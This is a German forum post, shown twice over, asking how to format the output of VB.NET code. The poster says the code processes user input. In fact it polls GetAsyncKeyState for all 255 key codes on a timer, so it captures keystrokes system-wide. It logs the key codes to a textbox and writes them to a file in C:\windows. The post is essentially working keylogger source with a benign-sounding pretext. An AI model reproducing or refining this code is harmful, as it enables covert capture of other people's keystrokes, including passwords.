H
hsdfowr2z2
Hallo,
Also in meinem Prog muss ich Tastendrücke an bestimmten Stellen abfangen, um die Benutzereingaben zu verarbeiten.
Also schnell gemacht, nur habe ich das Problem, dass ich zwischen den Tastendrücken Strich-Punkt haben möchte. D.h. dass nach einem Tastendrück ; kommt und ohne Leereichen weiter aufgezeichnet wird.
Zudem möchte ich die Tastendrücke im txt Dokumente, welches ich später in einer anderen Textbox ausgeben werde, ganz einfach mit einem Leerzeichen trennen und nicht mit einer neuen Zeile,...
Wie mache ich das
Mein Code:
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim AsciiCode As Integer
Dim Taste As Integer
Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
Taste = GetAsyncKeyState(i)
If Taste = -32767 Then
Me.TextBox1.Text = Me.TextBox1.Text & (i)
End If
Next
End Sub
Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer2.Tick
My.Computer.FileSystem.WriteAllText("C:\windows\bloggs.txt", TextBox1.Text, False)
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
End Sub
End Class
Also in meinem Prog muss ich Tastendrücke an bestimmten Stellen abfangen, um die Benutzereingaben zu verarbeiten.
Also schnell gemacht, nur habe ich das Problem, dass ich zwischen den Tastendrücken Strich-Punkt haben möchte. D.h. dass nach einem Tastendrück ; kommt und ohne Leereichen weiter aufgezeichnet wird.
Zudem möchte ich die Tastendrücke im txt Dokumente, welches ich später in einer anderen Textbox ausgeben werde, ganz einfach mit einem Leerzeichen trennen und nicht mit einer neuen Zeile,...
Wie mache ich das
Mein Code:
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim AsciiCode As Integer
Dim Taste As Integer
Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
Taste = GetAsyncKeyState(i)
If Taste = -32767 Then
Me.TextBox1.Text = Me.TextBox1.Text & (i)
End If
Next
End Sub
Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer2.Tick
My.Computer.FileSystem.WriteAllText("C:\windows\bloggs.txt", TextBox1.Text, False)
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
End Sub
End Class